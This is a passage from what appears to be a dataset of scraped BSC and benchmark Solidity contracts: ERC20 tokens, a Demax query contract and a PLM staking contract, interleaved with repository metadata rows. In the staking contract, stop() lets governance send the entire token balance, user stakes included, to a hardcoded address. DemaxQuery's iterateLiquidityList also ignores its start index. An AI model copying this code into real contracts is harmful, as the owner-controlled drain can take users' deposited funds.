for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
function toHexString(address addr) internal pure returns (string memory) {
return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
}
}
interface IAccessControl {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role);
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role) internal view virtual {
_checkRole(role, _msgSender());
}
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(string(abi.encodePacked("AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32))));
}
}
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
contract Zoe is ERC20, ERC20Burnable, Pausable, AccessControl {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor() ERC20("zoe", "ZOE") {
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
_grantRole(PAUSER_ROLE, msg.sender);
_mint(msg.sender, 1000000000 * 10 ** decimals());
_grantRole(MINTER_ROLE, msg.sender);
}
function pause() public onlyRole(PAUSER_ROLE) {
_pause();
}
function unpause() public onlyRole(PAUSER_ROLE) {
_unpause();
}
function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) {
_mint(to, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
whenNotPaused
override
{
super._beforeTokenTransfer(from, to, amount);
}
}
| 121,571 | 10,507 |
5875d32f4f3e7c654d947da63337d38a7449cc327fc4d1b3b3db7b107dea4f16
| 18,312 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x236B758057a1D277A267Bee8871c563F2a012323/contract.sol
| 4,572 | 17,788 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >= 0.5.1;
struct Config {
uint minValue;
uint maxValue;
uint maxSpan;
uint value;
uint enable; // 0:disable, 1: enable
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IDemaxConfig {
function tokenCount() external view returns(uint);
function tokenList(uint index) external view returns(address);
function getConfigValue(bytes32 _name) external view returns (uint);
function configs(bytes32 name) external view returns(Config memory);
function tokenStatus(address token) external view returns(uint);
}
interface IDemaxPlatform {
function existPair(address tokenA, address tokenB) external view returns (bool);
function swapPrecondition(address token) external view returns (bool);
function getReserves(address tokenA, address tokenB) external view returns (uint256, uint256);
}
interface IDemaxFactory {
function getPlayerPairCount(address player) external view returns(uint);
function playerPairs(address user, uint index) external view returns(address);
}
interface IDemaxPair {
function token0() external view returns(address);
function token1() external view returns(address);
function getReserves() external view returns(uint, uint, uint);
function lastMintBlock(address user) external view returns(uint);
}
interface IDemaxGovernance {
function ballotCount() external view returns(uint);
function rewardOf(address ballot) external view returns(uint);
function tokenBallots(address ballot) external view returns(address);
function ballotTypes(address ballot) external view returns(uint);
function ballots(uint index) external view returns(address);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner) external view returns (uint);
function configBallots(address ballot) external view returns (bytes32);
function stakingSupply() external view returns (uint);
function collectUsers(address ballot, address user) external view returns(uint);
}
interface IDemaxBallot {
struct Voter {
uint weight; // weight is accumulated by delegation
bool voted; // if true, that person already voted
address delegate; // person delegated to
uint vote; // index of the voted proposal
}
function subject() external view returns(string memory);
function content() external view returns(string memory);
function endBlockNumber() external view returns(uint);
function createTime() external view returns(uint);
function proposer() external view returns(address);
function proposals(uint index) external view returns(uint);
function ended() external view returns (bool);
function value() external view returns (uint);
function voters(address user) external view returns (Voter memory);
}
interface IDemaxTransferListener {
function pairWeights(address pair) external view returns(uint);
}
pragma experimental ABIEncoderV2;
contract DemaxQuery {
bytes32 public constant PRODUCE_DGAS_RATE = bytes32('PRODUCE_DGAS_RATE');
bytes32 public constant SWAP_FEE_PERCENT = bytes32('SWAP_FEE_PERCENT');
bytes32 public constant LIST_DGAS_AMOUNT = bytes32('LIST_DGAS_AMOUNT');
bytes32 public constant UNSTAKE_DURATION = bytes32('UNSTAKE_DURATION');
bytes32 public constant REMOVE_LIQUIDITY_DURATION = bytes32('REMOVE_LIQUIDITY_DURATION');
bytes32 public constant TOKEN_TO_DGAS_PAIR_MIN_PERCENT = bytes32('TOKEN_TO_DGAS_PAIR_MIN_PERCENT');
bytes32 public constant LIST_TOKEN_FAILURE_BURN_PRECENT = bytes32('LIST_TOKEN_FAILURE_BURN_PRECENT');
bytes32 public constant LIST_TOKEN_SUCCESS_BURN_PRECENT = bytes32('LIST_TOKEN_SUCCESS_BURN_PRECENT');
bytes32 public constant PROPOSAL_DGAS_AMOUNT = bytes32('PROPOSAL_DGAS_AMOUNT');
bytes32 public constant VOTE_DURATION = bytes32('VOTE_DURATION');
bytes32 public constant VOTE_REWARD_PERCENT = bytes32('VOTE_REWARD_PERCENT');
bytes32 public constant PAIR_SWITCH = bytes32('PAIR_SWITCH');
bytes32 public constant TOKEN_PENGDING_SWITCH = bytes32('TOKEN_PENGDING_SWITCH');
bytes32 public constant TOKEN_PENGDING_TIME = bytes32('TOKEN_PENGDING_TIME');
address public configAddr;
address public platform;
address public factory;
address public owner;
address public governance;
address public transferListener;
struct Proposal {
address proposer;
address ballotAddress;
address tokenAddress;
string subject;
string content;
uint createTime;
uint endBlock;
bool end;
uint YES;
uint NO;
uint totalReward;
uint ballotType;
uint weight;
bool minted;
bool voted;
uint voteIndex;
bool audited;
uint value;
bytes32 key;
uint currentValue;
}
struct Token {
address tokenAddress;
string symbol;
uint decimal;
uint balance;
uint allowance;
uint allowanceGov;
uint status;
uint totalSupply;
}
struct Liquidity {
address pair;
uint balance;
uint totalSupply;
uint lastBlock;
}
constructor() public {
owner = msg.sender;
}
function upgrade(address _config, address _platform, address _factory, address _governance, address _transferListener) public {
require(owner == msg.sender);
configAddr = _config;
platform = _platform;
factory = _factory;
governance = _governance;
transferListener = _transferListener;
}
function queryTokenList() public view returns (Token[] memory token_list) {
uint count = IDemaxConfig(configAddr).tokenCount();
if(count > 0) {
token_list = new Token[](count);
for(uint i = 0;i < count;i++) {
Token memory tk;
tk.tokenAddress = IDemaxConfig(configAddr).tokenList(i);
tk.symbol = IERC20(tk.tokenAddress).symbol();
tk.decimal = IERC20(tk.tokenAddress).decimals();
tk.balance = IERC20(tk.tokenAddress).balanceOf(msg.sender);
tk.allowance = IERC20(tk.tokenAddress).allowance(msg.sender, platform);
tk.allowanceGov = IERC20(tk.tokenAddress).allowance(msg.sender, governance);
tk.status = IDemaxConfig(configAddr).tokenStatus(tk.tokenAddress);
tk.totalSupply = IERC20(tk.tokenAddress).totalSupply();
token_list[i] = tk;
}
}
}
function countTokenList() public view returns (uint) {
return IDemaxConfig(configAddr).tokenCount();
}
function iterateTokenList(uint _start, uint _end) public view returns (Token[] memory token_list) {
require(_start <= _end && _start >= 0 && _end >= 0, "INVAID_PARAMTERS");
uint count = IDemaxConfig(configAddr).tokenCount();
if(count > 0) {
if (_end > count) _end = count;
count = _end - _start;
token_list = new Token[](count);
uint index = 0;
for(uint i = _start; i < _end; i++) {
Token memory tk;
tk.tokenAddress = IDemaxConfig(configAddr).tokenList(i);
tk.symbol = IERC20(tk.tokenAddress).symbol();
tk.decimal = IERC20(tk.tokenAddress).decimals();
tk.balance = IERC20(tk.tokenAddress).balanceOf(msg.sender);
tk.allowance = IERC20(tk.tokenAddress).allowance(msg.sender, platform);
tk.allowanceGov = IERC20(tk.tokenAddress).allowance(msg.sender, governance);
tk.status = IDemaxConfig(configAddr).tokenStatus(tk.tokenAddress);
tk.totalSupply = IERC20(tk.tokenAddress).totalSupply();
token_list[index] = tk;
index++;
}
}
}
function queryLiquidityList() public view returns (Liquidity[] memory liquidity_list) {
uint count = IDemaxFactory(factory).getPlayerPairCount(msg.sender);
if(count > 0) {
liquidity_list = new Liquidity[](count);
for(uint i = 0;i < count;i++) {
Liquidity memory l;
l.pair = IDemaxFactory(factory).playerPairs(msg.sender, i);
l.balance = IERC20(l.pair).balanceOf(msg.sender);
l.totalSupply = IERC20(l.pair).totalSupply();
l.lastBlock = IDemaxPair(l.pair).lastMintBlock(msg.sender);
liquidity_list[i] = l;
}
}
}
function countLiquidityList() public view returns (uint) {
return IDemaxFactory(factory).getPlayerPairCount(msg.sender);
}
function iterateLiquidityList(uint _start, uint _end) public view returns (Liquidity[] memory liquidity_list) {
require(_start <= _end && _start >= 0 && _end >= 0, "INVAID_PARAMTERS");
uint count = IDemaxFactory(factory).getPlayerPairCount(msg.sender);
if(count > 0) {
if (_end > count) _end = count;
count = _end - _start;
liquidity_list = new Liquidity[](count);
uint index = 0;
for(uint i = 0;i < count;i++) {
Liquidity memory l;
l.pair = IDemaxFactory(factory).playerPairs(msg.sender, i);
l.balance = IERC20(l.pair).balanceOf(msg.sender);
l.totalSupply = IERC20(l.pair).totalSupply();
l.lastBlock = IDemaxPair(l.pair).lastMintBlock(msg.sender);
liquidity_list[index] = l;
index++;
}
}
}
function queryPairListInfo(address[] memory pair_list) public view returns (address[] memory token0_list, address[] memory token1_list,
uint[] memory reserve0_list, uint[] memory reserve1_list) {
uint count = pair_list.length;
if(count > 0) {
token0_list = new address[](count);
token1_list = new address[](count);
reserve0_list = new uint[](count);
reserve1_list = new uint[](count);
for(uint i = 0;i < count;i++) {
token0_list[i] = IDemaxPair(pair_list[i]).token0();
token1_list[i] = IDemaxPair(pair_list[i]).token1();
(reserve0_list[i], reserve1_list[i],) = IDemaxPair(pair_list[i]).getReserves();
}
}
}
function queryPairReserve(address[] memory token0_list, address[] memory token1_list) public
view returns (uint[] memory reserve0_list, uint[] memory reserve1_list, bool[] memory exist_list) {
uint count = token0_list.length;
if(count > 0) {
reserve0_list = new uint[](count);
reserve1_list = new uint[](count);
exist_list = new bool[](count);
for(uint i = 0;i < count;i++) {
if(IDemaxPlatform(platform).existPair(token0_list[i], token1_list[i])) {
(reserve0_list[i], reserve1_list[i]) = IDemaxPlatform(platform).getReserves(token0_list[i], token1_list[i]);
exist_list[i] = true;
} else {
exist_list[i] = false;
}
}
}
}
function queryConfig() public view returns (uint fee_percent, uint proposal_amount, uint unstake_duration,
uint remove_duration, uint list_token_amount, uint vote_percent){
fee_percent = IDemaxConfig(configAddr).getConfigValue(SWAP_FEE_PERCENT);
proposal_amount = IDemaxConfig(configAddr).getConfigValue(PROPOSAL_DGAS_AMOUNT);
unstake_duration = IDemaxConfig(configAddr).getConfigValue(UNSTAKE_DURATION);
remove_duration = IDemaxConfig(configAddr).getConfigValue(REMOVE_LIQUIDITY_DURATION);
list_token_amount = IDemaxConfig(configAddr).getConfigValue(LIST_DGAS_AMOUNT);
vote_percent = IDemaxConfig(configAddr).getConfigValue(VOTE_REWARD_PERCENT);
}
function queryCondition(address[] memory path_list) public view returns (uint){
uint count = path_list.length;
for(uint i = 0;i < count;i++) {
if(!IDemaxPlatform(platform).swapPrecondition(path_list[i])) {
return i + 1;
}
}
return 0;
}
function generateProposal(address ballot_address) public view returns (Proposal memory proposal){
proposal.proposer = IDemaxBallot(ballot_address).proposer();
proposal.subject = IDemaxBallot(ballot_address).subject();
proposal.content = IDemaxBallot(ballot_address).content();
proposal.createTime = IDemaxBallot(ballot_address).createTime();
proposal.endBlock = IDemaxBallot(ballot_address).endBlockNumber();
proposal.end = block.number > IDemaxBallot(ballot_address).endBlockNumber() ? true: false;
proposal.audited = IDemaxBallot(ballot_address).ended();
proposal.YES = IDemaxBallot(ballot_address).proposals(1);
proposal.NO = IDemaxBallot(ballot_address).proposals(2);
proposal.totalReward = IDemaxGovernance(governance).rewardOf(ballot_address);
proposal.ballotAddress = ballot_address;
proposal.voted = IDemaxBallot(ballot_address).voters(msg.sender).voted;
proposal.voteIndex = IDemaxBallot(ballot_address).voters(msg.sender).vote;
proposal.weight = IDemaxBallot(ballot_address).voters(msg.sender).weight;
proposal.minted = IDemaxGovernance(governance).collectUsers(ballot_address, msg.sender) == 1;
proposal.ballotType = IDemaxGovernance(governance).ballotTypes(ballot_address);
proposal.tokenAddress = IDemaxGovernance(governance).tokenBallots(ballot_address);
proposal.value = IDemaxBallot(ballot_address).value();
if(proposal.ballotType == 1) {
proposal.key = IDemaxGovernance(governance).configBallots(ballot_address);
proposal.currentValue = IDemaxConfig(governance).getConfigValue(proposal.key);
}
}
function queryTokenItemInfo(address token) public view returns (string memory symbol, uint decimal, uint totalSupply, uint balance, uint allowance) {
symbol = IERC20(token).symbol();
decimal = IERC20(token).decimals();
totalSupply = IERC20(token).totalSupply();
balance = IERC20(token).balanceOf(msg.sender);
allowance = IERC20(token).allowance(msg.sender, platform);
}
function queryConfigInfo(bytes32 name) public view returns (Config memory config_item){
config_item = IDemaxConfig(configAddr).configs(name);
}
function queryStakeInfo() public view returns (uint stake_amount, uint stake_block, uint total_stake) {
stake_amount = IDemaxGovernance(governance).balanceOf(msg.sender);
stake_block = IDemaxGovernance(governance).allowance(msg.sender);
total_stake = IDemaxGovernance(governance).stakingSupply();
}
function queryProposalList() public view returns (Proposal[] memory proposal_list){
uint count = IDemaxGovernance(governance).ballotCount();
proposal_list = new Proposal[](count);
for(uint i = 0;i < count;i++) {
address ballot_address = IDemaxGovernance(governance).ballots(i);
proposal_list[count - i - 1] = generateProposal(ballot_address);
}
}
function countProposalList() public view returns (uint) {
return IDemaxGovernance(governance).ballotCount();
}
function iterateProposalList(uint _start, uint _end) public view returns (Proposal[] memory proposal_list){
require(_start <= _end && _start >= 0 && _end >= 0, "INVAID_PARAMTERS");
uint count = IDemaxGovernance(governance).ballotCount();
if (_end > count) _end = count;
count = _end - _start;
proposal_list = new Proposal[](count);
uint index = 0;
for(uint i = 0;i < count;i++) {
address ballot_address = IDemaxGovernance(governance).ballots(i);
proposal_list[index] = generateProposal(ballot_address);
index++;
}
}
function iterateReverseProposalList(uint _start, uint _end) public view returns (Proposal[] memory proposal_list){
require(_end <= _start && _end >= 0 && _start >= 0, "INVAID_PARAMTERS");
uint count = IDemaxGovernance(governance).ballotCount();
if (_start > count) _start = count;
count = _start - _end;
proposal_list = new Proposal[](count);
uint index = 0;
for(uint i = 0;i < count;i++) {
address ballot_address = IDemaxGovernance(governance).ballots(i);
proposal_list[index] = generateProposal(ballot_address);
index++;
}
}
function queryPairWeights(address[] memory pairs) public view returns (uint[] memory weights){
uint count = pairs.length;
weights = new uint[](count);
for(uint i = 0; i < count; i++) {
weights[i] = IDemaxTransferListener(transferListener).pairWeights(pairs[i]);
}
}
}
| 254,791 | 10,508 |
4c477e49541a2dccc9b997f460adf3ecebc794e75216fdd9b95b4e00098524bc
| 24,860 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x1E240f31b997C98d0C0BdCdB81ee24B2387cE266/contract.sol
| 4,267 | 15,913 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function mint(address account, uint256 amount) external;
function burn(uint256 amount) external;
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account)
internal
pure
returns (address payable)
{
return address(uint160(account));
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
callOptionalReturn(token,
abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector,
spender,
newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
"SafeERC20: decreased allowance below zero");
callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector,
spender,
newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/IGovernanceAddressRecipient.sol
contract IGovernanceAddressRecipient is Ownable {
address GovernanceAddress;
modifier onlyGovernanceAddress() {
require(_msgSender() == GovernanceAddress,
"Caller is not reward distribution");
_;
}
function setGovernanceAddress(address _GovernanceAddress)
external
onlyOwner
{
GovernanceAddress = _GovernanceAddress;
}
}
// File: contracts/Rewards.sol
contract StakeTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public stakeToken;
uint256 constant PERCENT = 10000;
uint256 public DEFLATION_OUT = 0;
uint256 public DEFLATION_REWARD = 0;
address public feeAddress = address(0);
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _stakeToken,
address _feeAddress,
uint256 _deflationReward,
uint256 _deflationOut) public {
stakeToken = IERC20(_stakeToken);
feeAddress = _feeAddress;
DEFLATION_OUT = _deflationOut;
DEFLATION_REWARD = _deflationReward;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
(uint256 realAmount,
uint256 feeAmount,
uint256 burnAmount) = feeTransaction(amount, DEFLATION_OUT);
stakeToken.safeTransfer(address(feeAddress), feeAmount);
stakeToken.burn(burnAmount);
stakeToken.safeTransfer(msg.sender, realAmount);
}
function feeTransaction(uint256 amount, uint256 _deflation)
internal
pure
returns (uint256 realAmount,
uint256 feeAmount,
uint256 burnAmount)
{
burnAmount = amount.div(PERCENT).mul(_deflation).div(10);
feeAmount = amount.div(PERCENT).mul(_deflation).div(10).mul(9);
realAmount = amount.sub(burnAmount.add(feeAmount));
}
}
contract PLMDeflationStake is
StakeTokenWrapper(0x80d211718f9B9Ba31959a14328Acd8D8c9d5382f,
0x03D2aF6FEABa803274C92D3483203662CeB02489,
100,
100),
IGovernanceAddressRecipient
{
uint256 public constant DURATION = 60 days;
uint256 public initReward = 0;
uint256 public startTime = 0;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
bool public stakeable = false;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event DepositStake(uint256 reward);
event StartStaking(uint256 time);
event StopStaking(uint256 time);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
modifier checkStart() {
require(initReward > 0, "No reward to stake.");
require(stakeable, "Staking is not started.");
_;
}
constructor() public {
GovernanceAddress = msg.sender;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function remainingReward() public view returns (uint256) {
return stakeToken.balanceOf(address(this));
}
function stop() public onlyGovernanceAddress {
require(stakeable, "Staking is not started.");
stakeToken.safeTransfer(address(0x24706863c68fFc9123237495D834BCc0cF2EDcF4),
remainingReward());
stakeable = false;
initReward = 0;
rewardRate = 0;
emit StopStaking(block.timestamp);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function start() public onlyGovernanceAddress {
require(!stakeable, "Staking is started.");
require(initReward > 0, "Cannot start. Require initReward");
periodFinish = block.timestamp.add(DURATION);
stakeable = true;
startTime = block.timestamp;
emit StartStaking(block.timestamp);
}
function depositReward(uint256 amount) public onlyGovernanceAddress {
require(!stakeable, "Staking is started.");
require(amount > 0, "Cannot deposit 0");
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
initReward = amount;
rewardRate = initReward.div(DURATION);
emit DepositStake(amount);
}
function stake(uint256 amount)
public
override
updateReward(msg.sender)
checkStart
{
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount)
public
override
updateReward(msg.sender)
checkStart
{
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exitStake() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkStart {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
uint256 deflationReward = reward.div(PERCENT).mul(DEFLATION_REWARD);
stakeToken.burn(deflationReward);
stakeToken.safeTransfer(msg.sender, reward.sub(deflationReward));
emit RewardPaid(msg.sender, reward);
}
}
}
| 250,387 | 10,509 |
90ee0b4463d111c79c3aa3715db7aa66312595dd09dd1028ac764303ee3faf82
| 13,162 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x82f4ded9cec9b5750fbff5c2185aee35afc16587.sol
| 3,140 | 12,069 |
pragma solidity 0.4.24;
interface tokenRecipient {
function receiveApproval (address from, uint256 value, address token, bytes extraData) external;
}
interface ERC20CompatibleToken {
function transfer (address to, uint256 value) external returns (bool);
}
library SafeMath {
function mul (uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div (uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub (uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add (uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
contract DreamTeamToken {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 6;
